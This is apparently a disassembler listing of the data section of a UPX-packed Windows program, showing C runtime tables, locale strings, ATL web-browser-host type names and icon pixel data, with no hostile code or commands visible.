		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_406A85
		dd 2 dup(0)
		dd 2 dup(1), 427A60h
dword_427A84	dd 19930522h, 2, 427A50h, 1, 427A70h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41C620h, 0
		dd offset loc_41C628
dword_427AB8	dd 19930522h, 2, 427AA8h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C64Bh,	0
		dd offset loc_41C653
dword_427AF0	dd 19930522h, 2, 427AE0h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C680h,	0
		dd offset loc_41C688
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd offset loc_4079A5
		dd 2 dup(2), 3,	1, 427B38h
dword_427B5C	dd 19930522h, 4, 427B18h, 1, 427B48h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41C6B8h, 0
		dd offset loc_41C6C0
dword_427B90	dd 19930522h, 2, 427B80h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C6E6h
dword_427BC0	dd 19930522h, 1, 427BB8h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C709h
dword_427BF0	dd 19930522h, 1, 427BE8h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C72Ch
dword_427C20	dd 19930522h, 1, 427C18h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C74Fh
dword_427C50	dd 19930522h, 1, 427C48h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C77Bh,	0
		dd offset loc_41C786
		dd 1, 41C791h, 2, 41C79Ch, 3, 41C7A7h, 4, 41C7B2h, 5, 41C7BDh
dword_427CB0	dd 19930522h, 7, 427C78h, 5 dup(0)		dd 1, 0
dword_427CD8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 41BE87h,	41BEA3h, 0
dword_427CF8	dd 8C2h	dup(0)						; sub_40AB4B+21o
off_42A000	dd offset sub_40A71A	; DATA XREF: sub_401304+Cr
					; sub_401BB2+C6r ...
		dd offset dword_41D4C8
		dd offset dword_41D4C8
		dd offset dword_41D4C8
		dd offset dword_41D4C8
off_42A014	dd offset off_41D588	; DATA XREF: UPX0:00424DD8o
					; UPX0:00424DF8o
		dd 0
a_?avtype_info@	db '.?AVtype_info@@',0
off_42A02C	dd offset dword_41D4C8	; DATA XREF: sub_40B444+5o
dword_42A030	dd 2							; sub_40DF83+19r ...
dword_42A034	dd 0BA9E6A99h						; sub_4016D2+Br ...
dword_42A038	dd 45619566h						; sub_40FCD1+2Bw ...
		align 10h
dword_42A040	dd 1		dword_42A044	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42A1A8	dd 0Ch		dword_42A1AC	dd 8, 10h, 0	off_42A1B8	dd offset dword_42E728	; DATA XREF: sub_40CE2D:loc_40CE6Cw
					; sub_40E1F2-1370o ...
dword_42A1BC	dd 1				dd offset dword_42E740
		dd 1, 2	dup(0)
		dd offset dword_42E758
		dd 1, 42E770h, 1, 2 dup(0)
		dd offset dword_42E788
		dd 1, 42E7A0h, 1, 42E7B8h, 1, 2	dup(0)
		dd offset dword_42E7D0
		dd 1, 2	dup(0)
		dd offset dword_42E7E8
		dd 1, 42E800h, 1, 42E818h, 1, 2	dup(0)
		dd offset dword_42E830
		dd 1, 42E848h, 1, 42E860h, 1, 22h dup(0)
dword_42A2D8	dd 0FB6B578Dh						; sub_40E1F2-132Eo ...
		align 10h
dword_42A2E0	dd 2		off_42A2E4	dd offset aR6002FloatingP ; DATA XREF: sub_40DDD8+13Dr
					; "R6002\r\n- floating point support not loa"...
		dd 8, 41DADCh, 9, 41DAB0h, 0Ah,	41DA18h, 10h, 41D9ECh
		dd 11h,	41D9BCh, 12h, 41D998h, 13h, 41D96Ch, 18h, 41D934h
		dd 19h,	41D90Ch, 1Ah, 41D8D4h, 1Bh, 41D89Ch, 1Ch, 41D874h
		dd 1Eh,	41D854h, 1Fh, 41D7F0h, 20h, 41D7B8h, 21h, 41D6C0h
		dd 22h,	41D620h, 78h, 41D610h, 79h, 41D600h, 7Ah, 41D5F0h
		dd 0FCh, 41D5ECh, 0FFh,	41D5DCh, 2 dup(0)
dword_42A3A0	dd 0Fh							; sub_40E143+18r ...
dword_42A3A4	dd 0Eh							; sub_40E0C8+23r ...
		align 10h
		dd offset dword_41D4C8
		align 10h
off_42A3C0	dd offset a_cmd		; DATA XREF: sub_40ED0F+1D0o
					; ".cmd"
		dd offset a_bat		; ".bat"
		dd offset a_exe		; ".exe"
off_42A3CC	dd offset a_com		; DATA XREF: sub_40ED0F+196o
					; ".com"
dword_42A3D0	dd 3							; sub_40F408+B1r ...
dword_42A3D4	dd 7							; sub_40F408+B7r ...
		dd 78h
dword_42A3DC	dd 0Ah							; sub_41367E+8r
dword_42A3E0	dd 0FFFFFFFFh, 0A80h, 0Eh dup(0)					; sub_412505+29o ...
		dd offset dword_41D4C8
off_42A424	dd offset off_41D588	; DATA XREF: sub_410A1C+126o
					; UPX0:00424E20o ...
		dd 0
a_?avbad_except	db '.?AVbad_exception@std@@',0
		align 10h
off_42A450	dd offset dword_42F140	; DATA XREF: sub_411916o
					; sub_41191C+52o ...
		align 8
		dd offset dword_42F140
		dd 101h
dword_42A460	dd 0FFFFFFFEh, 0		dd 1000h, 4 dup(0)
		dd 2, 0FFFFFFFEh, 6 dup(0)
		dd 2, 0FFFFFFFEh, 7 dup(0)
dword_42A4C0	dd 7Ch dup(0)	dword_42A6B0	dd 8 dup(0)						; sub_411A60+11o
dword_42A6D0	dd 0FFFFFFFFh, 16h dup(0)					; sub_40E3A9+A8o ...
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	31h dup(0)
		dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 0
		db    0
		align 2
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		align 4
		dd 21h dup(0)
byte_42A8F0	db 0			; DATA XREF: sub_412028+102w
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h, 0
byte_42A9F8	db 0			; DATA XREF: sub_412028+11Ew
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_42AAF8	dd 952CA8h						; sub_411D23+4Cr ...
byte_42AAFC	db 1			; DATA XREF: sub_411E43+113r
		db 2, 4, 8
dword_42AB00	dd 3A4h		dword_42AB04	dd 82798260h, 21h, 0dword_42AB10	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd offset dword_41E858+4
dword_42ABF4	dd 0FFFFFFFEh						; sub_40C799+50r ...
dword_42ABF8	dd 43h,	0						; sub_412329:loc_41237Bo ...
dword_42AC00	dd 2, 15h dup(0)					; sub_412451+28o ...
		dd offset dword_42ABF8
		dd 3 dup(0)
		dd offset dword_42ABF8
		dd 3 dup(0)
		dd offset dword_42ABF8
		dd 3 dup(0)
		dd offset dword_42ABF8
		dd 3 dup(0)
		dd offset dword_42ABF8
		dd 3 dup(0)
		dd 2 dup(1), 3 dup(0)
		dd offset off_42AE00
		dd 2 dup(0)
off_42ACC8	dd offset asc_41E658	; DATA XREF: sub_415847+11r
					; "	    (((((		   H"
		dd offset dword_41EA60+80h
		dd offset dword_41EA60+200h
		dd offset off_42AD40
off_42ACD8	dd offset dword_42AC00	; DATA XREF: sub_40C799+28r
					; sub_40E22F+ACr ...
		dd 1
off_42ACE0	dd offset dword_42AC00	; DATA XREF: sub_40F324+19o
		dd offset dword_42A6D0
off_42ACE8	dd offset aNull_0	; DATA XREF: sub_4128E7+453r
					; sub_4128E7:loc_412E7Er
					; "(null)"
off_42ACEC	dd offset aNull		; DATA XREF: sub_4128E7+958r
					; "(null)"
dword_42ACF0	dd 0FB6A12F8h						; sub_418C38+5w
dword_42ACF4	dd 0FB6A05D1h	dword_42ACF8	dd 0FB6A0465h	dword_42ACFC	dd 0FB6A042Ch	dword_42AD00	dd 0FB6A04BBh	dword_42AD04	dd 0FB6A12F8h	dword_42AD08	dd 0FB6A1D40h						; sub_418C38+37w
dword_42AD0C	dd 0FB6A04A7h	dword_42AD10	dd 0FB6A0705h						; sub_418C38+4Bw
dword_42AD14	dd 0FB6A07B0h						; sub_418C38+55w
byte_42AD18	db 3			; DATA XREF: sub_413B6D+15r
					; sub_413B6D:loc_413BA5r
		align 4
		dd 2
dword_42AD20	dd 19930520h, 3	dup(0)					; sub_414715+2o
dword_42AD30	dd 2							; sub_41490D+52r ...
		dd offset asc_41E658	; "	    (((((		   H"
		dd offset dword_41E858+2
		align 10h
off_42AD40	dd offset aSun		; DATA XREF: sub_4121E0+DCo
					; UPX0:0042ACD4o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset dword_41EA60+300h
		dd 409h, 2 dup(1), 42AD40h
dword_42ADFC	dd 2Eh		off_42AE00	dd offset dword_42ADFC	; DATA XREF: sub_4121E0+17o
					; sub_41537F+Fr ...
off_42AE04	dd offset dword_42EDC4	; DATA XREF: sub_41537F+21r
off_42AE08	dd offset dword_42EDC4	; DATA XREF: sub_41537F+33r
off_42AE0C	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+10r
off_42AE10	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+22r
off_42AE14	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+34r
off_42AE18	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+46r
off_42AE1C	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+58r
off_42AE20	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+6Ar
off_42AE24	dd offset dword_42EDC4	; DATA XREF: sub_4153C4+7Cr
		dd 2 dup(7F7F7F7Fh), 42AE00h, 1, 2Eh, 1
dword_42AE40	dd 0FFFFFFFEh	dword_42AE44	dd 0FFFFFFFEh						; sub_41490D:loc_414938r ...
		align 10h
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_42AE60	dd 545350h, 0Fh	dup(0)dword_42AEA0	dd 544450h, 0Fh	dup(0)		dd offset dword_42AE60
		dd offset dword_42AEA0
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
off_42AF70	dd offset off_41D588	; DATA XREF: UPX0:off_4250F4o
					; UPX0:004251B0o
		align 8
a_?auiaxwinambi	db '.?AUIAxWinAmbientDispatch@@',0
off_42AF94	dd offset off_41D588	; DATA XREF: UPX0:off_425110o
					; UPX0:00425170o
		dd 0
a_?auiaxwinam_0	db '.?AUIAxWinAmbientDispatchEx@@',0
		align 10h
off_42AFC0	dd offset off_41D588	; DATA XREF: UPX0:off_42512Co
					; UPX0:004251ECo
		align 8
a_?av?Idispatch	db '.?AV?$IDispatchImpl@UIAxWinAmbientDispatchEx@@$1?_GUID_b2d0778b_a'
		db 'c99_4c58_a5c8_e7724e5316b5@@3U__s_GUID@@B$1?m_libid@CAtlModule@AT'
		db 'L@@2U_GUID@@A$0PPPP@$0PPPP@VCComTypeInfoHolder@ATL@@@ATL@@',0
		align 4
off_42B088	dd offset off_41D588	; DATA XREF: UPX0:off_425224o
					; UPX0:0042525Co
		align 10h
a_?auidochostui	db '.?AUIDocHostUIHandler@@',0
off_42B0A8	dd offset off_41D588	; DATA XREF: UPX0:off_425294o
					; UPX0:004252CCo
		align 10h
a_?auiadvisesin	db '.?AUIAdviseSink@@',0
		align 4
off_42B0C4	dd offset off_41D588	; DATA XREF: UPX0:off_425304o
					; UPX0:0042533Co
		dd 0
a_?auiservicepr	db '.?AUIServiceProvider@@',0
		align 4
off_42B0E4	dd offset off_41D588	; DATA XREF: UPX0:off_425374o
					; UPX0:004253CCo
		dd 0
a_?auiobjectwit	db '.?AUIObjectWithSite@@',0
		align 4
off_42B104	dd offset off_41D588	; DATA XREF: UPX0:off_425390o
					; UPX0:00425404o
		dd 0
a_?av?Iobjectwi	db '.?AV?$IObjectWithSiteImpl@VCAxHostWindow@ATL@@@ATL@@',0
		align 4
off_42B144	dd offset off_41D588	; DATA XREF: UPX0:off_42543Co
					; UPX0:00425494o
		dd 0
a_?auiparsedisp	db '.?AUIParseDisplayName@@',0
off_42B164	dd offset off_41D588	; DATA XREF: UPX0:off_425458o
					; UPX0:004254CCo
		dd 0
a_?auiolecontai	db '.?AUIOleContainer@@',0
off_42B180	dd offset off_41D588	; DATA XREF: UPX0:off_425504o
					; UPX0:0042553Co
		align 8
a_?auiolecontro	db '.?AUIOleControlSite@@',0
		align 10h
off_42B1A0	dd offset off_41D588	; DATA XREF: UPX0:off_425590o
					; UPX0:0042564Co
		align 8
a_?auioleinplac	db '.?AUIOleInPlaceSite@@',0
		align 10h
off_42B1C0	dd offset off_41D588	; DATA XREF: UPX0:off_4255ACo
					; UPX0:0042560Co
		align 8
a_?auioleinpl_0	db '.?AUIOleInPlaceSiteEx@@',0
off_42B1E0	dd offset off_41D588	; DATA XREF: UPX0:off_4255C8o
					; UPX0:00425688o
		align 8
a_?auioleinpl_1	db '.?AUIOleInPlaceSiteWindowless@@',0
off_42B208	dd offset off_41D588	; DATA XREF: UPX0:off_4256C0o
					; UPX0:004256F8o
		align 10h
a_?auioleclient	db '.?AUIOleClientSite@@',0
		align 4
off_42B228	dd offset off_41D588	; DATA XREF: UPX0:off_425730o
					; UPX0:00425788o
		align 10h
a_?auiaxwinhost	db '.?AUIAxWinHostWindow@@',0
		align 4
off_42B248	dd offset off_41D588	; DATA XREF: UPX0:off_42574Co
					; UPX0:004257C0o
		align 10h
a_?auiaxwinho_0	db '.?AUIAxWinHostWindowLic@@',0
		align 10h
off_42B270	dd offset off_41D588	; DATA XREF: UPX0:off_4257DCo
		align 8
a_?av?Cwindowim	db '.?AV?$CWindowImpl@VCAxHostWindow@ATL@@VCWindow@2@V?$CWinTraits@$0'
		db 'FGAAAAAA@$0A@@2@@ATL@@',0
off_42B2D0	dd offset off_41D588	; DATA XREF: UPX0:off_425858o
					; UPX0:0042588Co
		align 8
a_?av?Ccomcocla	db '.?AV?$CComCoClass@VCAxHostWindow@ATL@@$1?GUID_NULL@@3U_GUID@@B@AT'
		db 'L@@',0
		align 10h
off_42B320	dd offset off_41D588	; DATA XREF: UPX0:off_424FF0o
		align 8
a_?avcaxhostwin	db '.?AVCAxHostWindow@ATL@@',0
off_42B340	dd offset off_41D588	; DATA XREF: UPX0:00424E6Co
					; UPX0:00424E80o ...
		align 8
a_?av?Ccomconta	db '.?AV?$CComContainedObject@VCAxHostWindow@ATL@@@ATL@@',0
		align 10h
off_42B380	dd offset off_41D588	; DATA XREF: UPX0:off_4250D8o
					; UPX0:00425924o ...
		align 8
a_?auidispatch@	db '.?AUIDispatch@@',0
off_42B398	dd offset off_41D588	; DATA XREF: UPX0:004259B4o
		align 10h
a_?audwebbrowse	db '.?AUDWebBrowserEvents2@@',0
		align 10h
		dd offset off_41D588
		align 8
a_?av?Cwindow_0	db '.?AV?$CWindowImpl@VHtmlControl@@VCWindow@ATL@@V?$CWinTraits@$0FGA'
		db 'AAAAA@$0A@@3@@ATL@@',0
		align 10h
off_42B420	dd offset off_41D588	; DATA XREF: UPX0:004258D0o
					; UPX0:004258E4o ...
		align 8
a_?avhtmlcontro	db '.?AVHtmlControl@@',0
		align 4
off_42B43C	dd offset off_41D588	; DATA XREF: UPX0:00425C9Co
		dd 0
a_?auienumunkno	db '.?AUIEnumUnknown@@',0
		align 4
		dd offset off_41D588
		align 10h
a_?av?Ccomenumi	db '.?AV?$CComEnumImpl@UIEnumUnknown@@$1?_GUID_00000100_0000_0000_c00'
		db '0_000000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInterface@UIUnk'
		db 'nown@@@ATL@@@ATL@@',0
		align 4
off_42B4F8	dd offset off_41D588	; DATA XREF: UPX0:00425BE0o
		align 10h
a_?av?Ccomenum@	db '.?AV?$CComEnum@UIEnumUnknown@@$1?_GUID_00000100_0000_0000_c000_00'
		db '0000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInterface@UIUnknown'
		db '@@@ATL@@VCComMultiThreadModel@6@@ATL@@',0
		align 10h
off_42B5B0	dd offset off_41D588	; DATA XREF: UPX0:00425BA8o
					; UPX0:00425CD4o
		align 8
a_?av?Ccomobjec	db '.?AV?$CComObject@V?$CComEnum@UIEnumUnknown@@$1?_GUID_00000100_000'
		db '0_0000_c000_000000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInter'
		db 'face@UIUnknown@@@ATL@@VCComMultiThreadModel@6@@ATL@@@ATL@@',0
		align 4
off_42B678	dd offset off_41D588	; DATA XREF: UPX0:00425DB8o
		align 10h
a_?av?Cwindow_1	db '.?AV?$CWindowImpl@VCAxUIWindow@ATL@@VCWindow@2@V?$CWinTraits@$0FG'
		db 'AAAAAA@$0A@@2@@ATL@@',0
		align 4
off_42B6D8	dd offset off_41D588	; DATA XREF: UPX0:00425D5Co
		align 10h
a_?avcaxuiwindo	db '.?AVCAxUIWindow@ATL@@',0
		align 4
off_42B6F8	dd offset off_41D588	; DATA XREF: UPX0:00425CFCo
					; UPX0:00425D10o ...
		align 10h
a_?av?Ccomobj_0	db '.?AV?$CComObject@VCAxUIWindow@ATL@@@ATL@@',0
		align 4
off_42B72C	dd offset off_41D588	; DATA XREF: UPX0:off_425574o
					; UPX0:00425FB8o
		dd 0
a_?auiolewindow	db '.?AUIOleWindow@@',0
		align 4
off_42B748	dd offset off_41D588	; DATA XREF: UPX0:00425F7Co
		align 10h
a_?auioleinpl_2	db '.?AUIOleInPlaceUIWindow@@',0
		align 4
off_42B76C	dd offset off_41D588	; DATA XREF: UPX0:00425FF0o
		dd 0
a_?auioleinpl_3	db '.?AUIOleInPlaceFrame@@',0
		align 4
off_42B78C	dd offset off_41D588	; DATA XREF: UPX0:off_4260CCo
		dd 0
a_?avcmessagema	db '.?AVCMessageMap@ATL@@',0
		align 4
off_42B7AC	dd offset off_41D588	; DATA XREF: UPX0:off_426100o
					; UPX0:00426134o
		dd 0
a_?avcwindow@at	db '.?AVCWindow@ATL@@',0
		align 4
off_42B7C8	dd offset off_41D588	; DATA XREF: UPX0:off_426090o
		align 10h
a_?av?Cwindow_2	db '.?AV?$CWindowImplRoot@VCWindow@ATL@@@ATL@@',0
		align 10h
off_42B800	dd offset off_41D588	; DATA XREF: UPX0:off_426050o
		align 8
a_?av?Cwindow_3	db '.?AV?$CWindowImplBaseT@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A'
		db '@@2@@ATL@@',0
		align 8
		dd offset off_41D588
		align 10h
a_?av?Cwindow_4	db '.?AV?$CWindowImpl@VCAxFrameWindow@ATL@@VCWindow@2@V?$CWinTraits@$'
		db '0FGAAAAAA@$0A@@2@@ATL@@',0
		align 10h
off_42B8C0	dd offset off_41D588	; DATA XREF: UPX0:004261A4o
		align 8
a_?av?Ccomobj_1	db '.?AV?$CComObjectRootEx@VCComMultiThreadModel@ATL@@@ATL@@',0
		align 4
off_42B904	dd offset off_41D588	; DATA XREF: UPX0:00425E88o
		dd 0
a_?avcaxframewi	db '.?AVCAxFrameWindow@ATL@@',0
		align 4
off_42B928	dd offset off_41D588	; DATA XREF: UPX0:00425E24o
					; UPX0:00425E38o
		align 10h
a_?av?Ccomobj_2	db '.?AV?$CComObject@VCAxFrameWindow@ATL@@@ATL@@',0
		align 10h
off_42B960	dd offset off_41D588	; DATA XREF: UPX0:off_425820o
					; UPX0:00425C28o ...
		align 8
a_?avccomobject	db '.?AVCComObjectRootBase@ATL@@',0
		align 4
off_42B988	dd offset off_41D588	; DATA XREF: UPX0:off_42583Co
					; UPX0:0042629Co
		align 10h
a_?av?Ccomobj_3	db '.?AV?$CComObjectRootEx@VCComSingleThreadModel@ATL@@@ATL@@',0
		align 4
off_42B9CC	dd offset off_41D588	; DATA XREF: UPX0:off_4250BCo
					; UPX0:off_425208o ...
		dd 0
		dd 55413F2Eh, 6B6E5549h, 6E776F6Eh, 4040h
off_42B9E4	dd offset off_41D588	; DATA XREF: UPX0:004261E8o
					; UPX0:004262ECo
		dd 0
a_?av?Ccompolyo	db '.?AV?$CComPolyObject@VCAxHostWindow@ATL@@@ATL@@',0
off_42BA1C	dd offset off_41D588	; DATA XREF: UPX0:00426D78o
		dd 0
a_?avcatlexcept	db '.?AVCAtlException@ATL@@',0
dword_42BA3C	dd 2 dup(80000000h), 3 dup(0)		dd offset dword_41F0A4
		dd offset dword_423A0C
dword_42BA58	dd 2Ah dup(0)						; sub_409FB8+A3o ...
		dd 1000000h, 8000000h, 8 dup(0)
		dd 2000000h, 14h dup(0)
		dd 2000000h, 0E000000h,	26000000h, 0AD7D7D7Dh, 0E8A0A0A0h
		dd 0FF868990h, 0FF6C7383h, 0FC8F949Fh, 0F3B7B7B8h, 0CE9D9D99h
		dd 36040404h, 10000000h, 4000000h, 11h dup(0)
		dd 3000000h, 15000000h,	0
		dd 0A980807Eh, 0D9ABABABh, 0FE344463h, 0FF314363h, 0FF324161h
		dd 0FF2C3D60h, 0FF334368h, 0FF314265h, 0FF2D3F62h, 0F9B9BBBFh
		dd 0CDA6A5A4h, 2 dup(0)
		dd 5000000h, 0Eh dup(0)
		dd 2000000h, 11000000h,	0
		dd 0C5928E8Eh, 0EE9FA1A7h, 0FB4A5972h, 0FF314467h, 0FF263A5Dh
		dd 0FF192B51h, 0FF162A55h, 0FF1B2E5Ah, 0FF243761h, 0FF2F4267h
		dd 0FF3A4A6Bh, 0FDA3A8B2h, 0DABCB8B6h, 10h dup(0)
		dd 0C000000h, 0
		dd 0CE93928Fh, 0F79699A4h, 0FF6885A6h, 0FF2A4167h, 0FF1F345Dh
		dd 0FF192F59h, 0FF1A305Ah, 0FF1F3562h, 0FF1F3565h, 0FF1B3260h
		dd 0FF1E3360h, 0FF243762h, 0FF263861h, 0FF9299A7h, 0E7C0BCBAh
		dd 10h dup(0)
; ---------------------------------------------------------------------------
		add	dword ptr [ebx-42423D7Dh], 0FFFFFFBFh
		stc
		movsd
		popf
		cwde
		push	dword ptr [ecx-5900615Ah]
		test	[eax-1], ebp
		db	66h
		cmp	[edi], bl
		jmp	dword ptr [edi+3Ah]
; ---------------------------------------------------------------------------
		and	bh, bh
		push	6EFF2139h
		db	3Eh
		and	al, 0FFh
		jno	short near ptr word_42BDDA
		and	eax, 233D6DFFh
		jmp	fword ptr [ecx+3Ah]
; ---------------------------------------------------------------------------
		and	edi, edi
		db	66h
		cmp	[ebx], ah
		jmp	dword ptr [ebx+36h]
; ---------------------------------------------------------------------------
		and	edi, edi
		pop	esi
		xor	bl, [edi]
		jmp	dword ptr [edi-4D006F69h]
; ---------------------------------------------------------------------------
		db 0B4h, 0B5h, 0DBh
		dd 8 dup(0)
		db 2 dup(0)
word_42BDDA	dw 0			; CODE XREF: UPX0:0042BD98j
		dd 4 dup(0)
		dd 2000000h, 0A76F6F6Fh, 0F2BABABAh, 0FFB6B5B6h, 0FFBCBBB8h
		dd 0FFA3A7ABh, 0FF9EA6B1h, 0FF6885A6h, 0FF284372h, 0FF284371h
		dd 0FF2A477Ah, 0FF2B497Dh, 0FF29467Ah, 0FF284376h, 0FF223B6Ch
		dd 0FF223B69h, 0FF1D3462h, 0FF1D325Fh, 0FB9FA2AEh, 0B99E9D9Ah
		dd 4000000h, 0Bh dup(0)
		dd 11000000h, 0E7B7B7B7h, 0FEB6B6B6h, 0FFB4B4B4h, 0FFB3B3B3h
		dd 0FFBBBAB7h, 0FFB1B1B2h, 0FF9EA6B1h, 0FF6885A6h, 0FF2F4C78h
		dd 0FF325081h, 0FF325285h, 0FF2F4F83h, 0FF2D4C82h, 0FF284579h
		dd 0FF264072h, 0FF233C6Ch, 0FF162F60h, 0FF2C3F6Ah, 0EABBBCC3h
		dd 16000000h, 1000000h,	9 dup(0)
		dd 3000000h, 4E1A1A1Ah,	0F9BFBFBFh, 3 dup(0FFB7B7B7h)
		dd 0FFB6B6B6h, 0FFBDBCB9h, 2 dup(0FF9EA6B1h), 0FF6885A6h
		dd 0FF3B5A87h, 0FF3B5B8Bh, 0FF385889h, 0FF355587h, 0FF2E4E82h
		dd 0FF2A487Eh, 0FF274376h, 0FF243F6Fh, 0FF152F60h, 0FA546384h
		dd 0FCCCCED3h, 0FACED0D5h, 8 dup(0)
		dd 1000000h, 2 dup(0FFCECECEh),	0FFBDBDBDh, 5 dup(0FFBEBEBEh)
		dd 0FFC0BFBFh, 0FFC8C6C3h, 0FF9EA6B1h, 0FF6885A6h, 0FF466995h
		dd 0FF4B6C96h, 0FF476894h, 0FF3E5E8Eh, 0FF375989h, 0FF325287h
		dd 0FF2C4C82h, 0FF284579h, 0FF1A356Ah, 0E7C6C6CAh, 0FACED0D5h
		dd 2000000h, 7 dup(0)
		dd 13000000h, 0FFCDCDCDh, 0FFCECECEh, 8	dup(0FFC1C1C1h)
		dd 0FFCCC9C5h, 0FFB6BCC2h, 0FF6885A6h, 0FF4B6F99h, 0FF507199h
		dd 0FF466593h, 0FF3F6190h, 0FF385A8Dh, 0FF325389h, 0FF2C4B82h
		dd 0FF264278h, 0FF9AA5B6h, 0FECCCED3h, 8 dup(0)
		dd 3 dup(0FFCECECEh), 8	dup(0FFC4C4C4h), 0FFC3C3C3h, 0FFD4D3D0h
		dd 0FFC8CBCEh, 0FF7691AEh, 0FF4D729Dh, 0FF4D6D99h, 0FF466796h
